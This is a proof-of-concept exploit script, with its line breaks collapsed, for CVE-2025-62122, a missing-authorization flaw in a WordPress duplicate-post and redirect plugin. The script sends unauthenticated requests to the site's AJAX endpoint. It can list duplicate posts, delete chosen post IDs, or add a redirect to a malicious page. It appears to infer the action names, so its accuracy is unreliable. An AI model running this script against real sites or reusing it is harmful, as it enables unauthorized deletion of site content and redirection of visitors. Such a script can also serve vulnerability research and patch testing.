CVE-2025-62122 WordPress Trash Duplicate and 301 Redirect插件缺少授权漏洞

import requests import sys # CVE-2025-62122 PoC - Broken Access Control in Trash Duplicate and 301 Redirect plugin # Target: WordPress site with Trash Duplicate and 301 Redirect plugin <= 1.9.1 def exploit(target_url, action='get_duplicate_posts'): """ Exploit missing authorization vulnerability Actions: get_duplicate_posts, delete_duplicates, manage_redirects """ target = target_url.rstrip('/') # Common WordPress AJAX endpoint ajax_url = f"{target}/wp-admin/admin-ajax.php" # Define vulnerable actions based on plugin functionality actions = { 'get_duplicate_posts': { 'action': 'tdr_get_duplicate_posts', 'data': {} }, 'delete_duplicates': { 'action': 'tdr_delete_duplicates', 'data': {'post_ids': [1, 2, 3]} # Target post IDs }, 'manage_redirects': { 'action': 'tdr_save_redirect', 'data': {'old_url': '/old-page', 'new_url': '/malicious-site'} } } if action not in actions: print(f"[-] Unknown action: {action}") return False payload = { 'action': actions[action]['action'], **actions[action]['data'] } print(f"[*] Exploiting: {action}") print(f"[*] Target: {ajax_url}") try: # Send request without authentication response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request successful - Access Control bypassed!") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [action]") print(f"Actions: get_duplicate_posts, delete_duplicates, manage_redirects") sys.exit(1) target_url = sys.argv[1] action = sys.argv[2] if len(sys.argv) > 2 else 'get_duplicate_posts' exploit(target_url, action)